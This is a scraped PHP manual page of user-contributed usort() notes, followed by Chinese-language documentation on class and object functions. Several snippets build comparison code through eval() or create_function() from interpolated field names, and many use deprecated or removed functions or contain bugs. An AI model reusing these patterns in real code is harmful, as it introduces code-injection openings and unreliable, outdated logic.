  return 1;

 }

}

?>

Sorting by doing multiple passes does not seem to be reliable.
jalil at measat dot org 28-Dec-2008 05:37
<?php
/*---------------------------------------------------------
* my own home made easy object sort, which
* i cannot find anywhere on the net
* at all, tut. i can find only complicated ones,
* which brings me a headache.
*
* You can enhance it to return all sorts of error
* conditions if you wish,
* i need nothing but a false return upon failure to sort,
* so that is the only error i have here
*
* Example usage:
*
* INPUT                 -       $objects_array
// an array of objects for sorting

* PARAMETERS    -       property
// the property of the object to be sorted

* OUTPUT                -       $engine
// an engine object created by new,
// with your arrays of objects sorted according to your
// selected property
//( the sorting is done upon sort object creation )
*
* Code Examples
*
* $engine = new objSorter($objects_array);
// sorts on FIRST property -  default

* $engine = new objSorter($objects_array,'property');
// sort on ANY specific property
*--------------------------------------------------------*/

class objSorter
{
var $property;
var $sorted;

    function ObjSorter($objects_array,$property=null)
        {
            $sample    = $objects_array[0];
            $vars    = get_object_vars($sample);

        if (isset($property))
            {
            if (isset($sample->$property))
// make sure requested property is correct for the object
                {
                $this->property = $property;
                usort($objects_array, array($this,'_compare'));
                }
            else
                {
                $this->sorted    = false;
                return;
                }
            }
        else
            {
                list($property,$var)     = each($sample);
                $this->property         = $property;
                usort($objects_array, array($this,'_compare'));
            }

        $this->sorted    = ($objects_array);
        }

    function _compare($apple, $orange)
        {
        $property    = $this->property;
        if ($apple->$property == $orange->$property) return 0;
        return ($apple->$property < $orange->$property) ? -1 : 1;
        }
} // end class
?>

USAGE EXAMPLE
DUMP ORIGINAL
user Object ( [name] => Yunihe Jopoba [age] => 27 [richness] => a?? 899,970 )
user Object ( [name] => Janirevi Fakejorumoa [age] => 19 [richness] => a?? 219,078 )
user Object ( [name] => Korejowi Mezede [age] => 95 [richness] => a?? 3,272 )
user Object ( [name] => Nugoaivu Jongyi [age] => 84 [richness] => a?? 94,853 )
user Object ( [name] => Cepomase Buaesukoyua [age] => 32 [richness] => a?? 677,180 )
user Object ( [name] => Vejosehona Auva [age] => 20 [richness] => a?? 144,540 )
user Object ( [name] => Fewame Wojuvuzo [age] => 69 [richness] => a?? 198,231 )
user Object ( [name] => Risuku Zagedobu [age] => 48 [richness] => a?? 763,860 )
user Object ( [name] => Fazurada Aayu [age] => 16 [richness] => a?? 302,352 )

SORTED by age

<?php
$objects                = new ObjSorter($objects_array,'age');
if ($objects->sorted)
{
$objects_array  = $objects->sorted;
foreach ($objects_array as $key=>$object) { print_r($object); echo "<br />"; }
}
?>

user Object ( [name] => Fazurada Aayu [age] => 16 [richness] => a?? 302,352 )
user Object ( [name] => Janirevi Fakejorumoa [age] => 19 [richness] => a?? 219,078 )
user Object ( [name] => Vejosehona Auva [age] => 20 [richness] => a?? 144,540 )
user Object ( [name] => Yunihe Jopoba [age] => 27 [richness] => a?? 899,970 )
user Object ( [name] => Cepomase Buaesukoyua [age] => 32 [richness] => a?? 677,180 )
user Object ( [name] => Risuku Zagedobu [age] => 48 [richness] => a?? 763,860 )
user Object ( [name] => Fewame Wojuvuzo [age] => 69 [richness] => a?? 198,231 )
user Object ( [name] => Nugoaivu Jongyi [age] => 84 [richness] => a?? 94,853 )
user Object ( [name] => Korejowi Mezede [age] => 95 [richness] => a?? 3,272 )

SORTED by richness

<?php
$objects                = new ObjSorter($objects_array,'richness');
if ($objects->sorted)
{
$objects_array  = $objects->sorted;
foreach ($objects_array as $key=>$object) { print_r($object); echo "<br />"; }
}
?>

user Object ( [name] => Vejosehona Auva [age] => 20 [richness] => a?? 144,540 )
user Object ( [name] => Fewame Wojuvuzo [age] => 69 [richness] => a?? 198,231 )
user Object ( [name] => Janirevi Fakejorumoa [age] => 19 [richness] => a?? 219,078 )
user Object ( [name] => Korejowi Mezede [age] => 95 [richness] => a?? 3,272 )
user Object ( [name] => Fazurada Aayu [age] => 16 [richness] => a?? 302,352 )
user Object ( [name] => Cepomase Buaesukoyua [age] => 32 [richness] => a?? 677,180 )
user Object ( [name] => Risuku Zagedobu [age] => 48 [richness] => a?? 763,860 )
user Object ( [name] => Yunihe Jopoba [age] => 27 [richness] => a?? 899,970 )
user Object ( [name] => Nugoaivu Jongyi [age] => 84 [richness] => a?? 94,853 )

Simulated wrong property request ( dumb property )

<?php
$objects                = new ObjSorter($objects_array,'dumb property');
if ($objects->sorted)
{
$objects_array  = $objects->sorted;
foreach ($objects_array as $key=>$object) { print_r($object); echo "<br />"; }
}
else echo 'DUMB ERROR';
?>

DUMB ERROR
drorasta 22-Jun-2008 10:16
Here's how you can usort() a multidimensional array (like in example #2 above) within a class:

<?php usort($myArray, array("className", "cmp")); ?>
Ariz Jacinto 13-May-2008 10:50
Here's how to use usort() within a class using a static function as a callback (using the example above):

<?php

class MyObj {
    var $name;

    function SampleObj($name){
        $this->name = $name;

        usort($this->name, array(&$this, "compareValues"));

    }

    static function compareValues($a, $b){
        $al = strtolower($a->name);
        $bl = strtolower($b->name);
        if ($al == $bl) {
            return 0;
        }
        return ($al > $bl) ? +1 : -1;
    }
}

?>
Sid_M 05-Nov-2007 05:54
The sample function for having the sort function be a class method has a comment identifying the sorting function as static, however the function does not have the static keyword. In PHP 5 (at least as configured on my server), usort will fail, identifying the method as non-static. Preceding the function keyword with the static keyword fixed the problem.
Tim 13-Nov-2006 03:43
If you want to sort an array of strings by the length of its values, you can write a better cmp-function than manually comparing string lengths with if-statements. Unfortunately, I see this bad technique in other people's code. I prefer using this:

<?php
function length_cmp( $a, $b ) {
    return strlen($a)-strlen($b) ;
}
?>

This function sorts the array in ascending order. If you want to sort descending, simply swap $a and $b either in the parameters or in the subtraction.

-Tim
svenxy AT nospam gmx net 16-Oct-2006 01:58
This will sort subnets correctly:

<?php

$zones =
array('192.168.11',
'192.169.12',
'192.168.13',
'192.167.14',
'192.168.15',
'122.168.16',
'192.168.17'
);

function sort_subnets ($a, $b) {
    $a_arr = explode('.', $a);
    $b_arr = explode('.', $b);
    foreach (range(0,3) as $i) {
        if ( $a_arr[$i] < $b_arr[$i] ) {
            return -1;
        }
        elseif ( $a_arr[$i] > $b_arr[$i] ) {
            return 1;
        }
    }
    return -1;
}

usort($zones, 'sort_subnets');
print '<pre>';
print_r($zones);
print '</pre>';

?>
stephen in koto 05-Apr-2006 10:28
For using usort inside a method in an object, where the callback sort method is in the same object, this works:

<?php usort($arr_to_sort, array($this, "sort_terms_by_criteria")); ?>

If you wish to keep elements in their original or reverse order if they are the same length, just don't return zero for items that compare the same. Return a 1 or -1, as appropriate.
sydney at totoche dot org 16-Jan-2006 01:44
Instead of doing  :

<?php $strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) ); ?>

you could do this :

<?php $strc = strcasecmp( $a[$f], $b[$f] ); ?>

which is more efficient and is does case insensitive comparison according to the current locale.
sean at NOSPAM dot orwd dot com 23-Sep-2005 02:46
In order to get a proper text sorting I have changed the arfsort() function submitted by jonathan(at)inetz(dot)com.

The one line I have changed is:

<?php
$strc = strcmp( $a[$f], $b[$f] );
?>

to

<?php
$strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) );
?>

It can now sort correctly for alphabetization.  Capital letters where getting in the way.

Sean
Jeremy Swinborne 20-Jul-2005 01:56
When I query a DB I usually put my record set inside of a multi-dimentional array.  I finally wrote a program that will allow you to sort your record set by column after you put it in an array.

<?php
$test = array();
$test[0]['name'] = 'jeremy';
$test[0]['email'] = 'lala@example.com';
$test[0]['phone'] = '123-123-1234';
$test[0]['trick'] = 'mezopia';

$test[1]['name'] = 'Amanda';
$test[1]['email'] = 'hot@example.com';
$test[1]['phone'] = '123-123-1235';
$test[1]['trick'] = 'youarecool';

$test[2]['name'] = 'john';
$test[2]['email'] = 'wowee@example.com';
$test[2]['phone'] = '123-123-3333';
$test[2]['trick'] = 'goneinanhour';

print_r(columnSort($test, 'name'));

function columnSort($unsorted, $column) {
    $sorted = $unsorted;
    for ($i=0; $i < sizeof($sorted)-1; $i++) {
      for ($j=0; $j<sizeof($sorted)-1-$i; $j++)
        if ($sorted[$j][$column] > $sorted[$j+1][$column]) {
          $tmp = $sorted[$j];
          $sorted[$j] = $sorted[$j+1];
          $sorted[$j+1] = $tmp;
      }
    }
    return $sorted;
}
?>
dmhouse at gmail dot com 19-Jul-2005 02:09
The easiest way to compare two integers is just to take the second away from the first. For example, say you wanted to sort by an integer property of an object. Your comparison function would look like this:

<?php
function compare_counts($a, $b) {
  return $a->count - $b->count;
}
?>

This works because you don't necessarily have to return -1, 0 or 1, the manual states any integer less than, equal to or greater than 0 is OK.
guenther dot stadler at gmx dot net 30-Mar-2005 02:25
Just something i stumbled about right now:
If the array consists of just one elemtent, the user-function is not called at all.

Although this surely makes sense, think of it if you want to use your order-function for adding extra data to your arrays...
Raveler at telenet dot be 20-May-2004 10:02
The array_alternate_multisort function written by robert below doesn't work. There are several bugs in the code and it doesn't work when sorting by multiple keys because the order of the first key isn't taken into account when sorting by the second key and so on. Also, because robert uses strcasecmp the algorithm doesn't work properly with floats or other variable types. Here's the improved version:

<?php
    function SortArray() {
        $arguments = func_get_args();
        $array = $arguments[0];
        $code = '';
        for ($c = 1; $c < count($arguments); $c += 2) {
            if (in_array($arguments[$c + 1], array("ASC", "DESC"))) {
                $code .= 'if ($a["'.$arguments[$c].'"] != $b["'.$arguments[$c].'"]) {';
                if ($arguments[$c + 1] == "ASC") {
                    $code .= 'return ($a["'.$arguments[$c].'"] < $b["'.$arguments[$c].'"] ? -1 : 1); }';
                }
                else {
                    $code .= 'return ($a["'.$arguments[$c].'"] < $b["'.$arguments[$c].'"] ? 1 : -1); }';
                }
            }
        }
        $code .= 'return 0;';
        $compare = create_function('$a,$b', $code);
        usort($array, $compare);
        return $array;
    }
?>
todor at todor dot net 08-Mar-2004 04:39
To sort multidimentional arrays .... by one key.

<?php
function multi_sort($tab,$key){
    $compare = create_function('$a,$b','if ($a["'.$key.'"] == $b["'.$key.'"]) {return 0;}else {return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;}');
    usort($tab,$compare) ;
    return $tab ;
}
?>
arjini at mac dot com 26-Jan-2004 10:05
<?php
/*
This is a class I built to sort parent/child relationships of array elements.
I post this here, because thanks to usort, you can also assign an explicit order
to the elements.

I first built this to sort categories and subcategories.

My database has four fields. category_id, parent_id, category_name, category_position

$rows is an associative array from the database with my categories.
*/
$rows = array( 0=>array('category_id'=>1,'parent_id' =>3,'category_name' =>'Second Child','category_position'=>2),
                    1=>array('category_id' =>2,'parent_id' =>0,'category_name' =>'Second Parent','category_position'=>2),
                    2=>array('category_id' =>3,'parent_id' =>0,'category_name' =>'First Parent','category_position'=>1),
                    3=>array('category_id' =>4,'parent_id' =>0,'category_name' =>'Third Parent','category_position'=>3),
                    4=>array('category_id' =>5,'parent_id' =>3,'category_name' =>'First Child','category_position'=>1),
                    5=>array('category_id' =>6,'parent_id' =>5,'category_name'=>'Second Sub-Child','category_position'=>2),
                    6=>array('category_id' =>7,'parent_id' =>5,'category_name' =>'First Sub-Child','category_position'=>1)
                    );

$ordered = chain('category_id', 'parent_id', 'category_position', $rows);

foreach($ordered as $item)
{
    echo str_repeat('------', $item['indent']).$item['category_name'].'<br>';
}

/*

Output

First Parent
------First Child
------------First Sub-Child
------------Second Sub-Child
------Second Child
Second Parent
Third Parent

You can have it only return a certain "branch" if you specify a root_id.
Aditionally, you can keep it by going to deep by specifying max-level.

Hope someone finds this useful, I sure would have liked to see this here a week ago.

Ah yes... and the code that runs it.
*/

function chain($primary_field, $parent_field, $sort_field, $rows, $root_id=0, $maxlevel=25)
{
    $c = new chain($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel);
    return $c->chain_table;
}

class chain
{
    var $table;
    var $rows;
    var $chain_table;
    var $primary_field;
    var $parent_field;
    var $sort_field;

    function chain($primary_field, $parent_field, $sort_field, $rows, $root_id, $maxlevel)
    {
        $this->rows = $rows;
        $this->primary_field = $primary_field;
        $this->parent_field = $parent_field;
        $this->sort_field = $sort_field;
        $this->buildChain($root_id,$maxlevel);
    }

    function buildChain($rootcatid,$maxlevel)
    {
        foreach($this->rows as $row)
        {
            $this->table[$row[$this->parent_field]][ $row[$this->primary_field]] = $row;
        }
        $this->makeBranch($rootcatid,0,$maxlevel);
    }

    function makeBranch($parent_id,$level,$maxlevel)
    {
        $rows=$this->table[$parent_id];
        foreach($rows as $key=>$value)
        {
            $rows[$key]['key'] = $this->sort_field;
        }

        usort($rows,'chainCMP');
        foreach($rows as $item)
        {
            $item['indent'] = $level;
            $this->chain_table[] = $item;
            if((isset($this->table[$item[$this->primary_field]])) && (($maxlevel>$level+1) || ($maxlevel==0)))
            {
                $this->makeBranch($item[$this->primary_field], $level+1, $maxlevel);
            }
        }
    }
}

function chainCMP($a,$b)
{
    if($a[$a['key']] == $b[$b['key']])
    {
        return 0;
    }
    return($a[$a['key']]<$b[$b['key']])?-1:1;
}

?>
sreid at sea-to-sky dot net 07-Jan-2004 08:22
As the manual says, "If two members compare as equal, their order in the sorted array is undefined." This means that the sort used is not "stable" and may change the order of elements that compare equal.

Sometimes you really do need a stable sort. For example, if you sort a list by one field, then sort it again by another field, but don't want to lose the ordering from the previous field. In that case it is better to use usort with a comparison function that takes both fields into account, but if you can't do that then use the function below. It is a merge sort, which is guaranteed O(n*log(n)) complexity, which means it stays reasonably fast even when you use larger lists (unlike bubblesort and insertion sort, which are O(n^2)).

<?php
function mergesort(&$array, $cmp_function = 'strcmp') {
    // Arrays of size < 2 require no action.
    if (count($array) < 2) return;
    // Split the array in half
    $halfway = count($array) / 2;
    $array1 = array_slice($array, 0, $halfway);
    $array2 = array_slice($array, $halfway);
    // Recurse to sort the two halves
    mergesort($array1, $cmp_function);
    mergesort($array2, $cmp_function);
    // If all of $array1 is <= all of $array2, just append them.
    if (call_user_func($cmp_function, end($array1), $array2[0]) < 1) {
        $array = array_merge($array1, $array2);
        return;
    }
    // Merge the two sorted arrays into a single sorted array
    $array = array();
    $ptr1 = $ptr2 = 0;
    while ($ptr1 < count($array1) && $ptr2 < count($array2)) {
        if (call_user_func($cmp_function, $array1[$ptr1], $array2[$ptr2]) < 1) {
            $array[] = $array1[$ptr1++];
        }
        else {
            $array[] = $array2[$ptr2++];
        }
    }
    // Merge the remainder
    while ($ptr1 < count($array1)) $array[] = $array1[$ptr1++];
    while ($ptr2 < count($array2)) $array[] = $array2[$ptr2++];
    return;
}
?>
webmaster at zeroweb dot org 20-Dec-2003 03:05
Needed a quick, fairly uncluttered way of sorting an array of objects by a certain object attribute, so here's what I came up with. Uses one global array and usort(). Also accepts an optional sort direction argument (CSORT_ASC = sort ascending, CSORT_DESC = sort descending). Use it like this:

(assuming $myarray is your array, "index" is the attribute you want to sort by, and you want to sort in descending order)

      csort($myarray, "index", CSORT_DESC);

Hope this is of use to someone. Probably a better way to pull this off, but this works alright.

<?php
define("CSORT_ASC",     1);
define("CSORT_DESC",     -1);

function csort_cmp(&$a, &$b)
{
    global $csort_cmp;

    if ($a->$csort_cmp['key'] > $b->$csort_cmp['key'])
        return $csort_cmp['direction'];

    if ($a->$csort_cmp['key'] < $b->$csort_cmp['key'])
        return -1 * $csort_cmp['direction'];

    return 0;
}

function csort(&$a, $k, $sort_direction=CSORT_ASC)
{
    global $csort_cmp;

    $csort_cmp = array(
        'key'           => $k,
        'direction'     => $sort_direction
    );

    usort($a, "csort_cmp");

    unset($csort_cmp);
}
?>
skrebbel at operamail dot com 27-Mar-2003 01:59
here's another recursive multisort, however a clean and fast one that is class-based (but works as well outside classes) and does not uglify your global namespace at all. note that strnatcmp is used, but one could use something else of course.

btw, for arrays in which the rows/columns are 'swapped', use array_multisort().

<?php
class Banana {
    var $aData;//the array we want to sort.
    var $aSortkeys;//the order in which we want the array to be sorted.
    function _sortcmp($a, $b, $i=0) {
        $r = strnatcmp($a[$this->aSortkeys[$i]],$b[$this->aSortkeys[$i]]);
        if($r==0) {
            $i++;
            if ($this->aSortkeys[$i]) $r = $this->_sortcmp($a, $b, $i+1);
        }
        return $r;
    }
    function sort() {
        if(count($this->aSortkeys)) {
            usort($this->aData,array($this,"_sortcmp"));
        }
    }
}
$B = new Banana;
$B->aData = array(
    array("name" => "hank", "headsize" => "big", "age" => 32),
    array("name" => "frank", "headsize" => "huge", "age" => 36)
);
$B->aSortkeys = array("age","name");
$B->sort();

?>
sorry for the ugly indenting, but i couldn't get it any better in this note adder thing.
jfren484 AT hotmail DOT com 24-Oct-2002 04:37
If you've used ADO before, you may have used the Sort property on a recordset.  It's very powerful - you can add a nice ORDER BY clause after getting the recordset from the database.  It's especially helpful if you want to show a list on a web page and make the column headings links that cause the list to resort on that column.

I wanted to do the same thing with mysql recordsets, but it looks like you have to have the ORDER BY in your query.  I re-worked the example from johan_land at yahoo dot com above for sorting multidimensional arrays.  When I get a mysql recordset, I create an array with all of the records like this:

<?php
$aaRows[]    = array();
if (mysql_num_rows($rsRows) > 0)
    while ($aRow = mysql_fetch_array($rsRows, MYSQL_ASSOC))
        $aaRows[]    = $aRow;
?>

At this point $aaRows is an array of arrays - it's a numeric-indexed array containing records from the recordset, which themselves are associative arrays.  The following code takes the array of records as the first parameter, and an array of fields to sort - each field is an associative array, where 'name' is the db field name, and 'dir' is the direction to sort.  If dir is 'DESC' (case-insensitive), it will sort descending.  Any other value (including not setting one) will cause it to sort ascending.

<?php
function sortRows(&$a_aaRows, $a_aaSortCriteria)
{
    GLOBAL    $g_aaSortArray;

    function compare($a_aRow1, $a_aRow2, $a_lField = 0)
    {
        GLOBAL    $g_aaSortArray;

        $lCompareVal    = 0;

        if ($a_lField < count($g_aaSortArray))
        {
            $sSortFieldName    = $g_aaSortArray[$a_lField]['name'];
            $sSortFieldDir    = $g_aaSortArray[$a_lField]['dir'];

            $vValue1    = eval('return $a_aRow1[' . $sSortFieldName . '];');
            $vValue2    = eval('return $a_aRow2[' . $sSortFieldName . '];');

            if ($vValue1 == $vValue2)
                $lCompareVal    = compare($a_aRow1, $a_aRow2, $a_lField + 1);
            else
            {
                $lCompareVal    =    $vValue1 > $vValue2 ? 1 : -1;
                if (strtolower(substr($sSortFieldDir, 0, 4)) == 'desc')
                    $lCompareVal    = -$lCompareVal;
            }
        }

        return $lCompareVal;
    }

    $g_aaSortArray    = $a_aaSortCriteria;
    usort($a_aaRows, 'compare');
}
?>

When I call it it looks something like this:

<?php
sortRows($aaRows, array(array('name' => 'STATE', 'dir' => 'ASC'), array('name' => 'CITY', 'dir' => 'DESC')));
?>
mkr at binarywerks dot dk 20-Sep-2002 09:29
If you want to sort an array according to another array acting as a priority list, you can use this function.

<?php
function listcmp($a, $b)
{
  global $order;

  foreach($order as $key => $value)
    {
      if($a==$value)
        {
          return 0;
          break;
        }

      if($b==$value)
        {
          return 1;
          break;
        }
    }
}

$order[0] = "first";
$order[1] = "second";
$order[2] = "third";

$array[0] = "second";
$array[1] = "first";
$array[2] = "third";
$array[3] = "fourth";
$array[4] = "second";
$array[5] = "first";
$array[6] = "second";

usort($array, "listcmp");

print_r($array);
?>
prozac at iguanasoft dot com 15-Jul-2002 05:55
Here is a simple example of converting a timestamp date("U") into a date. This sorts by that day and then by string value alphabetically.

I hope it saves someone some time... Happy PHP'in!

<?php
//data to sort
$shared[0]["page_id"] = "2025731470";
$shared[1]["page_id"] = "2025731450";
$shared[2]["page_id"] = "1025731456";
$shared[3]["page_id"] = "1025731460";
$shared[0]["username"] = "larry";
$shared[1]["username"] = "alvin";
$shared[2]["username"] = "garth";
$shared[3]["username"] = "harvy";

//function to convert timestamp to date
function convert_timestamp($timestamp){
    $limit=date("U");
    $limiting=$timestamp-$limit;
    return date ("Ymd", mktime (0,0,$limiting));
}
//comparison function
function cmp ($a, $b) {
    $l=convert_timestamp($a["page_id"]);
    $k=convert_timestamp($b["page_id"]);
    if($k==$l){
        return strcmp($a["username"], $b["username"]);
    }else{
        return strcmp($k, $l);
    }
}

//sort array
usort($shared, "cmp");

//display sorted info
while (list ($key, $value) = each ($shared)) {
    echo "\$shared[$key]: ";
    echo $value["page_id"];
    echo " username: ";
    echo $value["username"];
    echo "<break_tag>";
}
?>

This will output:
$shared[0]: 2025731450   username: alvin
$shared[1]: 2025731470   username: larry
$shared[2]: 1025731456   username: garth
$shared[3]: 1025731460   username: harvy
alex at netflex dot nl 02-Jul-2002 04:10
This function will sort on more then one values, test and have fun

<pre>
<?php

  $array[0]['name'] = "a";
  $array[0]['id'] = 3;

  $array[1]['name'] = "a";
  $array[1]['id'] = 2;

  $array[2]['name'] = "a";
  $array[2]['id'] = 5;

  $array[3]['name'] = "b";
  $array[3]['id'] = 8;

  $array[4]['name'] = "b";
  $array[4]['id'] = 1;

  $array[5]['name'] = "b";
  $array[5]['id'] = 0;

  $array[6]['name'] = "c";
  $array[6]['id'] = 5;

  $array[7]['name'] = "c";
  $array[7]['id'] = 7;

  $array[8]['name'] = "c";
  $array[8]['id'] = 3;

  print_r($array);

  $sort_array[0]['name'] = "name";
  $sort_array[0]['sort'] = "ASC";
  $sort_array[0]['case'] = TRUE;

  $sort_array[1]['name'] = "id";
  $sort_array[1]['case'] = FALSE;

  sortx($array, $sort_array);

  print_r($array);

  function sortx(&$array, $sort = array()) {
    $function = '';
    while (list($key) = each($sort)) {
      if (isset($sort[$key]['case'])&&($sort[$key]['case'] == TRUE)) {
        $function .= 'if (strtolower($a["' . $sort[$key]['name'] . '"])<>strtolower($b["' . $sort[$key]['name'] . '"])) { return (strtolower($a["' . $sort[$key]['name'] . '"]) ';
      } else {
        $function .= 'if ($a["' . $sort[$key]['name'] . '"]<>$b["' . $sort[$key]['name'] . '"]) { return ($a["' . $sort[$key]['name'] . '"] ';
      }
      if (isset($sort[$key]['sort'])&&($sort[$key]['sort'] == "DESC")) {
        $function .= '<';
      } else {
        $function .= '>';
      }
      if (isset($sort[$key]['case'])&&($sort[$key]['case'] == TRUE)) {
        $function .= ' strtolower($b["' . $sort[$key]['name'] . '"])) ? 1 : -1; } else';
      } else {
        $function .= ' $b["' . $sort[$key]['name'] . '"]) ? 1 : -1; } else';
      }
    }
    $function .= ' { return 0; }';
    usort($array, create_function('$a, $b', $function));
  }

?>
</pre>
graham at irwin dot org 15-Jan-2002 08:28
Example 3 above does not work with 4.0.4pl1, unless you write the uasort line as follows:
uasort($a, array ($a[0], "cmp_obj"));

(I assume any instance of the object: a[0] or a[1] or a[2] would work as well)

It does not work at all with associative arrays of objects.
xnoguer at rezebra dot com 25-Sep-2001 11:48
just for debugging purposes, usort does not complain if its argument function is not defined, i.e.:

<?php usort($my_array,"non existant function"); ?>

will not do anything...
josh at wintelcom dot net 24-Aug-2001 06:58
This lets you sort an associative multi-dimensional array by multiple key/field names.  Much similiar to the SQL clause ORDER BY.  Enjoy.

<?php
function cmp ($a, $b) {

    // Populate this array with your values...
    // Below is the SQL equivalent of
    // select * from blah ORDER BY date desc, type asc, name asc

    $vals = array(
        'date' => 'd',
        'type' => 'a',
        'name' => 'a'
    );

    while(list($key, $val) = each($vals)) {

        if($val == "d") {
            if ($a["$key"] > $b["$key"]) {
                return -1;
            }
            if ($a["$key"] < $b["$key"]) {
                return 1;
            }
        }

        if($val == "a") {
            if ($a["$key"] < $b["$key"]) {
                return -1;
            }
            if($a["$key"] > $b["$key"]) {
                return 1;
            }
        }

    }

}
?>
franky at iname dot com 17-Jul-2001 03:08
For sort multi-array by specific index

<?php
function cmp ($a, $b)
{
 global $w_o;
 if ($a[$w_o] == $b[$w_o]) return 0;
 return ($a[$w_o] < $b[$w_o]) ? -1 : 1;
}
# the index is the second element of
# each row

$w_o =1;
usort($my_arry_info,"cmp");
?>
johan_land at yahoo dot com 29-Jun-2001 05:23
These functions will sort an array by more than one element. The elements to sort by is specified in $sortArr. If you eg. want to sort by $destArr[]["sortBy2"][0] you add '["sortBy2"][0]' to $sortArr. Use it as much as you want!! If you modify it, please let me know...

<?php
//The functions
function compare($a, $b) {
    return cmpRec(0, $a, $b);
}

function cmpRec($i, $a, $b) {
    global $sortArr;
    if($i == sizeof($sortArr)) {
        return 0;
    }
    $avalue = '$avalue = $a'.$sortArr[$i].';';
    $bvalue = '$bvalue = $b'.$sortArr[$i].';';
    eval($avalue);
    eval($bvalue);
        if($avalue == $bvalue) {
        return cmpRec($i+1, $a, $b);
    } else {
        return ($avalue > $bvalue) ? (1) : (-1);
    }
}

//For testing the functions
$destArr = array( array( "sortBy1" => 2, "sortBy2" => array( "Fish", "eat seafood" )), array( "sortBy1" => 1, "sortBy2" => array( "Lions", "eat everything" )), array( "sortBy1" => 1, "sortBy2" => array( "Bird", "eat birdfood" )) );
$sortArr = array( '["sortBy1"]', '["sortBy2"][0]' );
print_r($destArr);
usort($destArr, "compare");
reset($destArr);
print_r($destArr);
?>
bo at erichsen dot com 20-Mar-2001 05:16
when using usort to refer to a function inside a class i have succesfully used:

<?php usort($myarray,array($this,"cmp")); ?>
derek at luddite dot net 18-Sep-2000 11:35
Needed a date sort and I didn't know if one was available so I wrote one. Maybe it'll help someone:

<?php
function DateSort($a,$b,$d="-") {
    if ($a == $b) {
        return 0;
    } else {  //Convert into dates and compare
        list($am,$ad,$ay)=split($d,$a);
        list($bm,$bd,$by)=split($d,$b);
        if (mktime(0,0,0,$am,$ad,$ay) < mktime(0,0,0,$bm,$bd,$by)) {
            return -1;
        } else {
            return 1;
        }
    }
}
?>

$d is the delimeter


类/对象的信息

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
  • 类/对象 函数
    • __autoload — 尝试加载未定义的类
    • call_user_method_array — 以参数列表的数组，调用用户方法
    • call_user_method — 对特定对象调用用户方法
    • class_alias — 为一个类创建别名
    • class_exists — 检查类是否已定义
    • get_called_class — 后期静态绑定（"Late Static Binding"）类的名称
    • get_class_methods — 返回由类的方法名组成的数组
    • get_class_vars — 返回由类的默认属性组成的数组
    • get_class — 返回对象的类名
    • get_declared_classes — 返回由已定义类的名字所组成的数组
    • get_declared_interfaces — 返回一个数组包含所有已声明的接口
    • get_declared_traits — 返回所有已定义的 traits 的数组
    • get_object_vars — 返回由对象属性组成的关联数组
    • get_parent_class — 返回对象或类的父类名
    • interface_exists — 检查接口是否已被定义
    • is_a — 如果对象属于该类或该类是此对象的父类则返回 TRUE
    • is_subclass_of — 如果此对象是该类的子类，则返回 TRUE
    • method_exists — 检查类的方法是否存在
    • property_exists — 检查对象或类是否具有该属性
    • trait_exists — 检查指定的 trait 是否存在

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数允许你获得类和对象实例的相关信息。 你可以获取对象所属的类名，也可以是它的成员属性和方法。 通过使用这些函数，你不仅可以找到对象和类的关系，也可以是它们的继承关系（例如，对象类继承自哪个类）。

请参见手册中对象一节来查看在 PHP 里，对象和类如何实现和使用的详细描述。

User Contributed Notes

There are no user contributed notes for this page.


范例

在这个例子中，我们首先定义了一个基类和该类的扩展。 这个基类描述了普通的蔬菜，关于它是否可食用及其颜色。 子类 Spinach 添加了烹饪的方法和另一个检查是否已烹饪的方法。

Example #1 classes.inc

<?php

// base class with member properties and methods
class Vegetable {

   var $edible;
   var $color;

   function __construct($edible, $color="green")
   {
       $this->edible = $edible;
       $this->color = $color;
   }

   function is_edible()
   {
       return $this->edible;
   }

   function what_color()
   {
       return $this->color;
   }

} // end of class Vegetable

// extends the base class
class Spinach extends Vegetable {

   var $cooked = false;

   function __construct()
   {
       parent::__construct(true, "green");
   }

   function cook_it()
   {
       $this->cooked = true;
   }

   function is_cooked()
   {
       return $this->cooked;
   }

} // end of class Spinach

?>

接下来我们从这些类中实例化了两个对象，并打印了他们的信息，包括了他们类的继承关系。 同时我们也定了一些实用函数，主要为了漂亮地打印出这些变量。

Example #2 test_script.php

<pre>
<?php

include "classes.inc";

// 实用函数

function print_vars($obj)
{
foreach (get_object_vars($obj) as $prop => $val) {
    echo "\t$prop = $val\n";
}
}

function print_methods($obj)
{
$arr = get_class_methods(get_class($obj));
foreach ($arr as $method) {
    echo "\tfunction $method()\n";
}
}

function class_parentage($obj, $class)
{
if (is_subclass_of($GLOBALS[$obj], $class)) {
    echo "Object $obj belongs to class " . get_class($GLOBALS[$obj]);
    echo " a subclass of $class\n";
} else {
    echo "Object $obj does not belong to a subclass of $class\n";
}
}

// 实例化 2 对象

$veggie = new Vegetable(true, "blue");
$leafy = new Spinach();

// 打印这些对象的信息
echo "veggie: CLASS " . get_class($veggie) . "\n";
echo "leafy: CLASS " . get_class($leafy);
echo ", PARENT " . get_parent_class($leafy) . "\n";

// 显示蔬菜的属性
echo "\nveggie: Properties\n";
print_vars($veggie);

// and leafy methods
echo "\nleafy: Methods\n";
print_methods($leafy);

echo "\nParentage:\n";
class_parentage("leafy", "Spinach");
class_parentage("leafy", "Vegetable");
?>
</pre>

一个重要的东西是注意在上面的例子中，对象 $leafy 是 Spinach 的实例（Vegetable 的子类），另外脚本的最后部分会输出以下信息：

   [...]
Parentage:
Object leafy does not belong to a subclass of Spinach
Object leafy belongs to class spinach, a subclass of Vegetable

User Contributed Notes

denisn1 at free dot fr 18-Oct-2017 09:35
In order to avoid an "Undefined variable" error, the class_parentage fucntion should have the global $$obj stattement :

function class_parentage($obj, $class) {
    global $$obj;
    if (is_subclass_of($GLOBALS[$obj], $class)) {
        echo "L'objet $obj appartient à la classe " . get_class($$obj);
        echo " une sous-classe de $class\n";
    } else {
        echo "L'object $obj n'appartient pas à une sous-classe $class\n";
    }
}


类/对象 函数

Table of Contents

  • __autoload — 尝试加载未定义的类
  • call_user_method_array — 以参数列表的数组，调用用户方法
  • call_user_method — 对特定对象调用用户方法
  • class_alias — 为一个类创建别名
  • class_exists — 检查类是否已定义
  • get_called_class — 后期静态绑定（"Late Static Binding"）类的名称
  • get_class_methods — 返回由类的方法名组成的数组
  • get_class_vars — 返回由类的默认属性组成的数组
